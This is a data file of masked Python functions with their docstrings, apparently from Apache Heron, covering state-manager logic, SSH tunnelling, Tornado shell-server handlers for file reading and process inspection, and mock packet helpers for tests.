{"signature": "def get_scheduler_location(self, topologyName, callback=None):", "body": "isWatching = False<EOL>ret = {<EOL>\"<STR_LIT:result>\": None<EOL>}<EOL>if callback:<EOL><INDENT>isWatching = True<EOL><DEDENT>else:<EOL><INDENT>def callback(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ret[\"<STR_LIT:result>\"] = data<EOL><DEDENT><DEDENT>self._get_scheduler_location_with_watch(topologyName, callback, isWatching)<EOL>return ret[\"<STR_LIT:result>\"]<EOL>", "docstring": "get scheduler location", "id": "f7426:c0:m22"}
{"signature": "def _get_scheduler_location_with_watch(self, topologyName, callback, isWatching):", "body": "path = self.get_scheduler_location_path(topologyName)<EOL>if isWatching:<EOL><INDENT>LOG.info(\"<STR_LIT>\" + path)<EOL><DEDENT>@self.client.DataWatch(path)<EOL>def watch_scheduler_location(data, stats):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if data:<EOL><INDENT>scheduler_location = SchedulerLocation()<EOL>scheduler_location.ParseFromString(data)<EOL>callback(scheduler_location)<EOL><DEDENT>else:<EOL><INDENT>callback(None)<EOL><DEDENT>return isWatching<EOL><DEDENT>", "docstring": "Helper function to get scheduler location with\na callback. The future watch is placed\nonly if isWatching is True.", "id": "f7426:c0:m23"}
{"signature": "def load_state_manager_locations(cluster, state_manager_config_file='<STR_LIT>',<EOL>overrides={}):", "body": "with open(state_manager_config_file, '<STR_LIT:r>') as stream:<EOL><INDENT>config = yaml.load(stream)<EOL><DEDENT>home_dir = os.path.expanduser(\"<STR_LIT>\")<EOL>wildcards = {<EOL>\"<STR_LIT>\" : home_dir,<EOL>\"<STR_LIT>\" : home_dir,<EOL>\"<STR_LIT>\" : cluster,<EOL>}<EOL>if os.getenv('<STR_LIT>'):<EOL><INDENT>wildcards[\"<STR_LIT>\"] = os.getenv('<STR_LIT>')<EOL><DEDENT>config = __replace(config, wildcards, state_manager_config_file)<EOL>if overrides:<EOL><INDENT>config.update(overrides)<EOL><DEDENT>state_manager_location = {<EOL>'<STR_LIT:type>': '<STR_LIT:file>',<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:127.0.0.1>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>key_mappings = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>for config_key in key_mappings:<EOL><INDENT>if config_key in config:<EOL><INDENT>state_manager_location[key_mappings[config_key]] = config[config_key]<EOL><DEDENT><DEDENT>state_manager_class = config['<STR_LIT>']<EOL>if state_manager_class == '<STR_LIT>':<EOL><INDENT>state_manager_location['<STR_LIT:type>'] = '<STR_LIT>'<EOL>state_manager_location['<STR_LIT:name>'] = '<STR_LIT>'<EOL><DEDENT>return [state_manager_location]<EOL>", "docstring": "Reads configs to determine which state manager to use and converts them to state manager\n    locations. Handles a subset of config wildcard substitution supported in the substitute method in\n    org.apache.heron.spi.common.Misc.java", "id": "f7427:m0"}
{"signature": "def __replace(config, wildcards, config_file):", "body": "for config_key in config:<EOL><INDENT>config_value = config[config_key]<EOL>original_value = config_value<EOL>if isinstance(config_value, str):<EOL><INDENT>for token in wildcards:<EOL><INDENT>if wildcards[token]:<EOL><INDENT>config_value = config_value.replace(token, wildcards[token])<EOL><DEDENT><DEDENT>found = re.findall(r'<STR_LIT>', config_value)<EOL>if found:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>(config_key, original_value, config_file, \"<STR_LIT:U+002CU+0020>\".join(found)))<EOL><DEDENT>config[config_key] = config_value<EOL><DEDENT><DEDENT>return config<EOL>", "docstring": "For each kvp in config, do wildcard substitution on the values", "id": "f7427:m1"}
{"signature": "@property<EOL><INDENT>def rootpath(self):<DEDENT>", "body": "return self.__hostport<EOL>", "docstring": "Getter for the path where the heron states are stored.", "id": "f7428:c0:m4"}
{"signature": "@rootpath.setter<EOL><INDENT>def rootpath(self, newRootPath):<DEDENT>", "body": "self.__hostport = newRootPath<EOL>", "docstring": "Setter for the path where the heron states are stored.", "id": "f7428:c0:m5"}
{"signature": "@property<EOL><INDENT>def tunnelhost(self):<DEDENT>", "body": "return self.__tunnelhost<EOL>", "docstring": "Getter for the tunnelhost to create the tunnel if host is not accessible", "id": "f7428:c0:m6"}
{"signature": "@tunnelhost.setter<EOL><INDENT>def tunnelhost(self, newTunnelHost):<DEDENT>", "body": "self.__tunnelhost = newTunnelHost<EOL>", "docstring": "Setter for the tunnelhost to create the tunnel if host is not accessible", "id": "f7428:c0:m7"}
{"signature": "def is_host_port_reachable(self):", "body": "for hostport in self.hostportlist:<EOL><INDENT>try:<EOL><INDENT>socket.create_connection(hostport, StateManager.TIMEOUT_SECONDS)<EOL>return True<EOL><DEDENT>except:<EOL><INDENT>LOG.info(\"<STR_LIT>\"<EOL>% (self.name, hostport[<NUM_LIT:0>], hostport[<NUM_LIT:1>]))<EOL>continue<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Returns true if the host is reachable. In some cases, it may not be reachable a tunnel\nmust be used.", "id": "f7428:c0:m9"}
{"signature": "def pick_unused_port(self):", "body": "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<EOL>s.bind(('<STR_LIT:127.0.0.1>', <NUM_LIT:0>))<EOL>_, port = s.getsockname()<EOL>s.close()<EOL>return port<EOL>", "docstring": "Pick an unused port. There is a slight chance that this wont work.", "id": "f7428:c0:m10"}
{"signature": "def establish_ssh_tunnel(self):", "body": "localportlist = []<EOL>for (host, port) in self.hostportlist:<EOL><INDENT>localport = self.pick_unused_port()<EOL>self.tunnel.append(subprocess.Popen(<EOL>('<STR_LIT>', self.tunnelhost, '<STR_LIT>' % (localport, host, port))))<EOL>localportlist.append(('<STR_LIT:127.0.0.1>', localport))<EOL><DEDENT>return localportlist<EOL>", "docstring": "Establish an ssh tunnel for each local host and port\nthat can be used to communicate with the state host.", "id": "f7428:c0:m11"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def start(self):<DEDENT>", "body": "pass<EOL>", "docstring": "If the state manager needs to connect to a remote host.", "id": "f7428:c0:m13"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def stop(self):<DEDENT>", "body": "pass<EOL>", "docstring": "If the state manager had connected to a remote server, it would need to stop as well.", "id": "f7428:c0:m14"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get_packing_plan(self, topologyName, callback=None):<DEDENT>", "body": "pass<EOL>", "docstring": "Gets the packing_plan for the topology.\nIf the callback is provided,\nsets watch on the path and calls the callback\nwith the new packing_plan.", "id": "f7428:c0:m26"}
{"signature": "def delete_topology_from_zk(self, topologyName):", "body": "self.delete_pplan(topologyName)<EOL>self.delete_execution_state(topologyName)<EOL>self.delete_topology(topologyName)<EOL>", "docstring": "Removes the topology entry from:\n1. topologies list,\n2. pplan,\n3. execution_state, and", "id": "f7428:c0:m35"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def post(self):<DEDENT>", "body": "def status_finish(ret):<EOL><INDENT>self.set_status(ret)<EOL>self.finish()<EOL><DEDENT>def kill_parent():<EOL><INDENT>status_finish(<NUM_LIT:200>)<EOL>logger.info(\"<STR_LIT>\")<EOL>os.killpg(os.getppid(), signal.SIGTERM)<EOL><DEDENT>logger = logging.getLogger(__file__)<EOL>logger.info(\"<STR_LIT>\")<EOL>data = dict(urlparse.parse_qsl(self.request.body))<EOL>sharedSecret = data.get('<STR_LIT>')<EOL>if sharedSecret != options.secret:<EOL><INDENT>status_finish(<NUM_LIT>)<EOL>return<EOL><DEDENT>instanceId = data.get('<STR_LIT>')<EOL>if instanceId:<EOL><INDENT>filepath = instanceId + '<STR_LIT>'<EOL>if os.path.isfile(filepath): <EOL><INDENT>if instanceId.startswith('<STR_LIT>'): <EOL><INDENT>kill_parent()<EOL><DEDENT>else: <EOL><INDENT>fh = open(filepath)<EOL>firstLine = int(fh.readline())<EOL>fh.close()<EOL>logger.info(\"<STR_LIT>\" + instanceId + \"<STR_LIT:U+0020>\" + str(firstLine))<EOL>os.kill(firstLine, signal.SIGTERM)<EOL>status_finish(<NUM_LIT:200>)<EOL><DEDENT><DEDENT>else: <EOL><INDENT>logger.info(filepath + \"<STR_LIT>\")<EOL>status_finish(<NUM_LIT>)<EOL><DEDENT><DEDENT>else: <EOL><INDENT>kill_parent()<EOL><DEDENT>", "docstring": "post method", "id": "f7429:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, path):<DEDENT>", "body": "if path is None:<EOL><INDENT>return {}<EOL><DEDENT>if not utils.check_path(path):<EOL><INDENT>self.write(\"<STR_LIT>\")<EOL>self.set_status(<NUM_LIT>)<EOL>self.finish()<EOL>return<EOL><DEDENT>offset = self.get_argument(\"<STR_LIT>\", default=-<NUM_LIT:1>)<EOL>length = self.get_argument(\"<STR_LIT>\", default=-<NUM_LIT:1>)<EOL>if not os.path.isfile(path):<EOL><INDENT>return {}<EOL><DEDENT>data = utils.read_chunk(path, offset=offset, length=length, escape_data=True)<EOL>self.write(json.dumps(data))<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7430:c0:m0"}
{"signature": "def on_connection_close(self):", "body": "<EOL>self.connection_closed = True<EOL>", "docstring": ":return:", "id": "f7431:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, path):<DEDENT>", "body": "logging.debug(\"<STR_LIT>\", path)<EOL>self.connection_closed = False<EOL>self.set_header(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if not utils.check_path(path):<EOL><INDENT>self.write(\"<STR_LIT>\")<EOL>self.set_status(<NUM_LIT>)<EOL>self.finish()<EOL>return<EOL><DEDENT>if path is None or not os.path.isfile(path):<EOL><INDENT>self.write(\"<STR_LIT>\" % path)<EOL>self.set_status(<NUM_LIT>)<EOL>self.finish()<EOL>return<EOL><DEDENT>length = int(<NUM_LIT:4> * <NUM_LIT> * <NUM_LIT>)<EOL>offset = int(<NUM_LIT:0>)<EOL>while True:<EOL><INDENT>data = utils.read_chunk(path, offset=offset, length=length, escape_data=False)<EOL>if self.connection_closed or '<STR_LIT:data>' not in data or len(data['<STR_LIT:data>']) < length:<EOL><INDENT>break<EOL><DEDENT>offset += length<EOL>self.write(data['<STR_LIT:data>'])<EOL>self.flush()<EOL><DEDENT>if '<STR_LIT:data>' in data:<EOL><INDENT>self.write(data['<STR_LIT:data>'])<EOL><DEDENT>self.finish()<EOL>", "docstring": "get method", "id": "f7431:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, path):<DEDENT>", "body": "path = tornado.escape.url_unescape(path)<EOL>if not path:<EOL><INDENT>path = \"<STR_LIT:.>\"<EOL><DEDENT>if not utils.check_path(path):<EOL><INDENT>self.write(\"<STR_LIT>\")<EOL>self.set_status(<NUM_LIT>)<EOL>self.finish()<EOL>return<EOL><DEDENT>listing = utils.get_listing(path)<EOL>file_stats = {}<EOL>for fn in listing:<EOL><INDENT>try:<EOL><INDENT>is_dir = False<EOL>formatted_stat = utils.format_prefix(fn, utils.get_stat(path, fn))<EOL>if stat.S_ISDIR(utils.get_stat(path, fn).st_mode):<EOL><INDENT>is_dir = True<EOL><DEDENT>file_stats[fn] = {<EOL>\"<STR_LIT>\": formatted_stat,<EOL>\"<STR_LIT>\": is_dir,<EOL>\"<STR_LIT:path>\": tornado.escape.url_escape(os.path.join(path, fn)),<EOL>}<EOL>if fn == \"<STR_LIT:..>\":<EOL><INDENT>path_fragments = path.split(\"<STR_LIT:/>\")<EOL>if not path_fragments:<EOL><INDENT>file_stats[fn][\"<STR_LIT:path>\"] = \"<STR_LIT:.>\"<EOL><DEDENT>else:<EOL><INDENT>file_stats[fn][\"<STR_LIT:path>\"] = tornado.escape.url_escape(\"<STR_LIT:/>\".join(path_fragments[:-<NUM_LIT:1>]))<EOL><DEDENT><DEDENT><DEDENT>except:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>self.write(json.dumps(file_stats))<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7432:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, pid):<DEDENT>", "body": "body = utils.str_cmd(['<STR_LIT>', pid], None, None)<EOL>self.content_type = '<STR_LIT:application/json>'<EOL>self.write(json.dumps(body))<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7433:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self):<DEDENT>", "body": "self.content_type = '<STR_LIT>'<EOL>self.write('<STR_LIT>')<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7434:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, path):<DEDENT>", "body": "t = Template(utils.get_asset(\"<STR_LIT>\"))<EOL>if path is None:<EOL><INDENT>self.set_status(<NUM_LIT>)<EOL>self.write(\"<STR_LIT>\")<EOL>self.finish()<EOL>return<EOL><DEDENT>if not utils.check_path(path):<EOL><INDENT>self.write(\"<STR_LIT>\")<EOL>self.set_status(<NUM_LIT>)<EOL>self.finish()<EOL>return<EOL><DEDENT>args = dict(<EOL>filename=path,<EOL>jquery=utils.get_asset(\"<STR_LIT>\"),<EOL>pailer=utils.get_asset(\"<STR_LIT>\"),<EOL>css=utils.get_asset(\"<STR_LIT>\"),<EOL>)<EOL>self.write(t.generate(**args))<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7435:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, pid):<DEDENT>", "body": "body = utils.str_cmd(['<STR_LIT>', '<STR_LIT>', pid], None, None)<EOL>self.content_type = '<STR_LIT:application/json>'<EOL>self.write(json.dumps(body))<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7436:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, path):<DEDENT>", "body": "if not path:<EOL><INDENT>path = \"<STR_LIT:.>\"<EOL><DEDENT>if not utils.check_path(path):<EOL><INDENT>self.write(\"<STR_LIT>\")<EOL>self.set_status(<NUM_LIT>)<EOL>self.finish()<EOL>return<EOL><DEDENT>t = Template(utils.get_asset(\"<STR_LIT>\"))<EOL>args = dict(<EOL>path=path,<EOL>listing=utils.get_listing(path),<EOL>format_prefix=utils.format_prefix,<EOL>stat=stat,<EOL>get_stat=utils.get_stat,<EOL>os=os,<EOL>css=utils.get_asset(\"<STR_LIT>\")<EOL>)<EOL>self.write(t.generate(**args))<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7437:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, pid):<DEDENT>", "body": "utils.str_cmd(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'], None, None)<EOL>body = utils.str_cmd(['<STR_LIT>', '<STR_LIT>',<EOL>str(pid)], None, None)<EOL>utils.str_cmd(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'], None, None)<EOL>self.content_type = '<STR_LIT:application/json>'<EOL>self.write(json.dumps(body))<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7439:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, pid):<DEDENT>", "body": "body = utils.str_cmd(['<STR_LIT>', '<STR_LIT>', pid], None, None)<EOL>self.content_type = '<STR_LIT:application/json>'<EOL>self.write(json.dumps(body))<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7440:c0:m0"}
{"signature": "@tornado.web.asynchronous<EOL><INDENT>def get(self, instance_id):<DEDENT>", "body": "self.content_type = '<STR_LIT:application/json>'<EOL>self.write(json.dumps(utils.chain([<EOL>['<STR_LIT>', '<STR_LIT>'],<EOL>['<STR_LIT>', instance_id],<EOL>['<STR_LIT>', '<STR_LIT>'],<EOL>['<STR_LIT>', '<STR_LIT>']])).strip())<EOL>self.finish()<EOL>", "docstring": "get method", "id": "f7441:c0:m0"}
{"signature": "def format_mode(sres):", "body": "mode = sres.st_mode<EOL>root = (mode & <NUM_LIT>) >> <NUM_LIT:6><EOL>group = (mode & <NUM_LIT>) >> <NUM_LIT:3><EOL>user = (mode & <NUM_LIT>)<EOL>def stat_type(md):<EOL><INDENT>'''<STR_LIT>'''<EOL>if stat.S_ISDIR(md):<EOL><INDENT>return '<STR_LIT:d>'<EOL><DEDENT>elif stat.S_ISSOCK(md):<EOL><INDENT>return '<STR_LIT:s>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:->'<EOL><DEDENT><DEDENT>def triple(md):<EOL><INDENT>'''<STR_LIT>'''<EOL>return '<STR_LIT>' % (<EOL>'<STR_LIT:r>' if md & <NUM_LIT> else '<STR_LIT:->',<EOL>'<STR_LIT:w>' if md & <NUM_LIT> else '<STR_LIT:->',<EOL>'<STR_LIT:x>' if md & <NUM_LIT> else '<STR_LIT:->')<EOL><DEDENT>return '<STR_LIT>'.join([stat_type(mode), triple(root), triple(group), triple(user)])<EOL>", "docstring": "Format a line in the directory list based on the file's type and other attributes.", "id": "f7443:m0"}
{"signature": "def format_mtime(mtime):", "body": "now = datetime.now()<EOL>dt = datetime.fromtimestamp(mtime)<EOL>return '<STR_LIT>' % (<EOL>dt.strftime('<STR_LIT>'), dt.day,<EOL>dt.year if dt.year != now.year else dt.strftime('<STR_LIT>'))<EOL>", "docstring": "Format the date associated with a file to be displayed in directory listing.", "id": "f7443:m1"}
{"signature": "def format_prefix(filename, sres):", "body": "try:<EOL><INDENT>pwent = pwd.getpwuid(sres.st_uid)<EOL>user = pwent.pw_name<EOL><DEDENT>except KeyError:<EOL><INDENT>user = sres.st_uid<EOL><DEDENT>try:<EOL><INDENT>grent = grp.getgrgid(sres.st_gid)<EOL>group = grent.gr_name<EOL><DEDENT>except KeyError:<EOL><INDENT>group = sres.st_gid<EOL><DEDENT>return '<STR_LIT>' % (<EOL>format_mode(sres),<EOL>sres.st_nlink,<EOL>user,<EOL>group,<EOL>sres.st_size,<EOL>format_mtime(sres.st_mtime),<EOL>)<EOL>", "docstring": "Prefix to a filename in the directory listing. This is to make the\nlisting similar to an output of \"ls -alh\".", "id": "f7443:m2"}
{"signature": "def get_listing(path):", "body": "if path != \"<STR_LIT:.>\":<EOL><INDENT>listing = sorted(['<STR_LIT:..>'] + os.listdir(path))<EOL><DEDENT>else:<EOL><INDENT>listing = sorted(os.listdir(path))<EOL><DEDENT>return listing<EOL>", "docstring": "Returns the list of files and directories in a path.\nPrepents a \"..\" (parent directory link) if path is not current dir.", "id": "f7443:m3"}
{"signature": "def get_stat(path, filename):", "body": "return os.stat(os.path.join(path, filename))<EOL>", "docstring": "get stat", "id": "f7443:m4"}
{"signature": "def read_chunk(filename, offset=-<NUM_LIT:1>, length=-<NUM_LIT:1>, escape_data=False):", "body": "try:<EOL><INDENT>length = int(length)<EOL>offset = int(offset)<EOL><DEDENT>except ValueError:<EOL><INDENT>return {}<EOL><DEDENT>if not os.path.isfile(filename):<EOL><INDENT>return {}<EOL><DEDENT>try:<EOL><INDENT>fstat = os.stat(filename)<EOL><DEDENT>except Exception:<EOL><INDENT>return {}<EOL><DEDENT>if offset == -<NUM_LIT:1>:<EOL><INDENT>offset = fstat.st_size<EOL><DEDENT>if length == -<NUM_LIT:1>:<EOL><INDENT>length = fstat.st_size - offset<EOL><DEDENT>with open(filename, \"<STR_LIT:r>\") as fp:<EOL><INDENT>fp.seek(offset)<EOL>try:<EOL><INDENT>data = fp.read(length)<EOL><DEDENT>except IOError:<EOL><INDENT>return {}<EOL><DEDENT><DEDENT>if data:<EOL><INDENT>data = _escape_data(data) if escape_data else data<EOL>return dict(offset=offset, length=len(data), data=data)<EOL><DEDENT>return dict(offset=offset, length=<NUM_LIT:0>)<EOL>", "docstring": "Read a chunk of a file from an offset upto the length.", "id": "f7443:m5"}
{"signature": "def pipe(prev_proc, to_cmd):", "body": "stdin = None if prev_proc is None else prev_proc.stdout<EOL>process = subprocess.Popen(to_cmd,<EOL>stdout=subprocess.PIPE,<EOL>stdin=stdin)<EOL>if prev_proc is not None:<EOL><INDENT>prev_proc.stdout.close() <EOL><DEDENT>return process<EOL>", "docstring": "Pipes output of prev_proc into to_cmd.\nReturns piped process", "id": "f7443:m7"}
{"signature": "def str_cmd(cmd, cwd, env):", "body": "process = subprocess.Popen(cmd, stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE, cwd=cwd, env=env)<EOL>stdout_builder, stderr_builder = proc.async_stdout_stderr_builder(process)<EOL>process.wait()<EOL>stdout, stderr = stdout_builder.result(), stderr_builder.result()<EOL>return {'<STR_LIT>': '<STR_LIT:U+0020>'.join(cmd), '<STR_LIT>': stderr, '<STR_LIT>': stdout}<EOL>", "docstring": "Runs the command and returns its stdout and stderr.", "id": "f7443:m8"}
{"signature": "def chain(cmd_list):", "body": "command = '<STR_LIT>'.join(map(lambda x: '<STR_LIT:U+0020>'.join(x), cmd_list))<EOL>chained_proc = functools.reduce(pipe, [None] + cmd_list)<EOL>stdout_builder = proc.async_stdout_builder(chained_proc)<EOL>chained_proc.wait()<EOL>return {<EOL>'<STR_LIT>': command,<EOL>'<STR_LIT>': stdout_builder.result()<EOL>}<EOL>", "docstring": "Feed output of one command to the next and return final output\nReturns string output of chained application of commands.", "id": "f7443:m9"}
{"signature": "def get_container_id(instance_id):", "body": "return instance_id.split('<STR_LIT:_>')[<NUM_LIT:1>]<EOL>", "docstring": "get container id", "id": "f7443:m10"}
{"signature": "def get_asset(asset_name):", "body": "return pkgutil.get_data(\"<STR_LIT>\", os.path.join(\"<STR_LIT>\", asset_name))<EOL>", "docstring": "get assset", "id": "f7443:m11"}
{"signature": "def check_path(path):", "body": "return not path.startswith(\"<STR_LIT:/>\") and \"<STR_LIT:..>\" not in path<EOL>", "docstring": "file path should be a relative path without \"..\" in it\n:param path: file path\n:return: true if the path is relative and doesn't contain \"..\"", "id": "f7443:m12"}
{"signature": "def convert_to_incoming_packet(reqid, message):", "body": "raw = OutgoingPacket.create_packet(reqid, message).raw<EOL>dispatcher = MockDispatcher()<EOL>dispatcher.prepare_with_raw(raw)<EOL>packet = IncomingPacket()<EOL>packet.read(dispatcher)<EOL>packet.data = packet.data<EOL>return packet<EOL>", "docstring": "Convert (reqid, message) pair to IncomingPacket object", "id": "f7448:m0"}
{"signature": "def get_mock_requst_packets(is_message):", "body": "pkt_list = []<EOL>raw_list = []<EOL>message_list = [mock_protobuf.get_mock_register_response(),<EOL>mock_protobuf.get_mock_config(),<EOL>mock_protobuf.get_mock_bolt(),<EOL>mock_protobuf.get_mock_topology()]<EOL>for message in message_list:<EOL><INDENT>if is_message:<EOL><INDENT>reqid = REQID.generate_zero()<EOL><DEDENT>else:<EOL><INDENT>reqid = REQID.generate()<EOL><DEDENT>normal_pkt = convert_to_incoming_packet(reqid, message)<EOL>pkt_list.append(normal_pkt)<EOL>raw_list.append((reqid, message))<EOL><DEDENT>return pkt_list, raw_list<EOL>", "docstring": "Returns a list of valid IncomingPackets with non-zero REQID and the corresponding raw data", "id": "f7448:m1"}
{"signature": "def get_a_mock_request_packet_and_raw():", "body": "reqid = REQID.generate()<EOL>message = mock_protobuf.get_mock_register_response()<EOL>pkt = convert_to_incoming_packet(reqid, message)<EOL>return pkt, reqid, message<EOL>", "docstring": "Returns a tuple of mock (IncomingPacket, REQID, RegisterResponse message)", "id": "f7448:m2"}
{"signature": "def get_a_mock_message_list_and_builder():", "body": "pkt_list = []<EOL>raw_list = mock_protobuf.get_many_mock_pplans()<EOL>for msg in raw_list:<EOL><INDENT>reqid = REQID.generate_zero()<EOL>pkt = convert_to_incoming_packet(reqid, msg)<EOL>pkt_list.append(pkt)<EOL><DEDENT>builder, typename = mock_protobuf.get_pplan_builder_and_typename()<EOL>return pkt_list, raw_list, builder, typename<EOL>", "docstring": "Get a list of IncomingPackets, the corresponding mock messages, builder and typename", "id": "f7448:m3"}
{"signature": "def get_fail_packet():", "body": "raw = OutgoingPacket.create_packet(REQID.generate(), mock_protobuf.get_mock_pplan()).raw<EOL>packet = IncomingPacket.create_packet(raw[:<NUM_LIT:4>], raw[<NUM_LIT:4>:])<EOL>packet.is_complete = False<EOL>return packet<EOL>", "docstring": "Returns an incomplete IncomingPacket object", "id": "f7448:m4"}
{"signature": "def prepare_with_raw(self, raw):", "body": "self.to_be_received = raw<EOL>", "docstring": "the content of ``raw`` will be prepared in the recv buffer", "id": "f7448:c0:m1"}
{"signature": "def prepare_valid_response(self):", "body": "pkt_list, _ = get_mock_requst_packets(is_message=False)<EOL>for pkt in pkt_list:<EOL><INDENT>self.to_be_received += pkt.convert_to_raw()<EOL><DEDENT>", "docstring": "a number of valid packets will be prepared in the recv buffer", "id": "f7448:c0:m2"}
{"signature": "def prepare_header_only(self):", "body": "pkt = get_mock_requst_packets(is_message=False)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>self.to_be_received = pkt.header<EOL>", "docstring": "a packet with just a header (incomplete packet) will be prepared in the recv buffer", "id": "f7448:c0:m3"}
{"signature": "def prepare_partial_data(self):", "body": "pkt = get_mock_requst_packets(is_message=False)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>self.to_be_received = pkt.header + pkt.data[:self.PARTIAL_DATA_SIZE]<EOL>", "docstring": "a partial data packet will be prepared in the recv buffer", "id": "f7448:c0:m4"}
{"signature": "def prepare_eagain(self):", "body": "self.eagain_test = True<EOL>", "docstring": "prepare so that EAGAIN error is raised when recv() is called", "id": "f7448:c0:m5"}
{"signature": "def prepare_fatal(self):", "body": "self.fatal_error_test = True<EOL>", "docstring": "prepare so that RuntimeError is raised when recv() is called", "id": "f7448:c0:m6"}
{"signature": "def recv(self, numbytes):", "body": "if self.fatal_error_test:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>elif self.eagain_test:<EOL><INDENT>raise socket.error(socket.errno.EAGAIN, \"<STR_LIT>\")<EOL><DEDENT>ret = self.to_be_received[:numbytes]<EOL>self.to_be_received = self.to_be_received[numbytes:]<EOL>return ret<EOL>", "docstring": "reads ``numbytes`` from the recv buffer", "id": "f7448:c0:m7"}
{"signature": "def send(self, buf):", "body": "return len(buf)<EOL>", "docstring": "mock sends the content of a given buffer", "id": "f7448:c0:m8"}
{"signature": "def get_a_sample_pplan():", "body": "spout_1 = mock_protobuf.get_mock_spout(component=mock_protobuf.get_mock_component(name=\"<STR_LIT>\"))<EOL>bolt_1 = mock_protobuf.get_mock_bolt(component=mock_protobuf.get_mock_component(name=\"<STR_LIT>\"))<EOL>bolt_2 = mock_protobuf.get_mock_bolt(component=mock_protobuf.get_mock_component(name=\"<STR_LIT>\"))<EOL>topology = mock_protobuf.get_mock_topology(spouts=[spout_1], bolts=[bolt_1, bolt_2])<EOL>instance_ids = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>task_ids = [<NUM_LIT:100>, <NUM_LIT:200>, <NUM_LIT>]<EOL>comp_indexes = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]<EOL>comp_names = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>instances = []<EOL>for i_id, t_id, c_i, c_name in zip(instance_ids, task_ids, comp_indexes, comp_names):<EOL><INDENT>info = mock_protobuf.get_mock_instance_info(task_id=t_id,<EOL>component_index=c_i,<EOL>component_name=c_name)<EOL>instance = mock_protobuf.get_mock_instance(instance_id=i_id, info=info)<EOL>instances.append(instance)<EOL><DEDENT>pplan = mock_protobuf.get_mock_pplan(topology=topology, instances=instances)<EOL>keys = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>zipped = zip(instance_ids, task_ids, comp_indexes, comp_names)<EOL>return pplan, [dict(zip(keys, z)) for z in zipped]<EOL>", "docstring": "Returns a legitimate looking physical plan\n\n    This topology has 1 spout and 2 bolts. Currently no input/output streams.\n    There is only one stream manager.\n\n    [Instance 1: spout1]\n      - instance_id = \"instance1\"\n      - task_id = 100\n      - component_index = 0\n      - component_name = \"spout1\"\n\n    [Instance 2: bolt1]\n      - instance_id = \"instance2\"\n      - task_id = 200\n      - component_index = 0\n      - component_name = \"bolt1\"\n\n    [instance 3: bolt2]\n      - instance_id = \"instance3\"\n      - task_id = 300\n      - component_index = 0\n      - component_name = \"bolt2\"\n\n    :returns: PhysicalPlan message and a list of dictionaries for each instance containing\n              (instance_id, task_id, comp_index, comp_name)", "id": "f7453:m0"}
{"signature": "def make_data_tuple_from_list(lst, serializer=PythonSerializer()):", "body": "data_tuple = tuple_pb2.HeronDataTuple()<EOL>data_tuple.key = <NUM_LIT:0><EOL>tuple_size_in_bytes = <NUM_LIT:0><EOL>for obj in lst:<EOL><INDENT>serialized = serializer.serialize(obj)<EOL>data_tuple.values.append(serialized)<EOL>tuple_size_in_bytes += len(serialized)<EOL><DEDENT>return data_tuple, tuple_size_in_bytes<EOL>", "docstring": "Make HeronDataTuple from a list of objects", "id": "f7453:m1"}
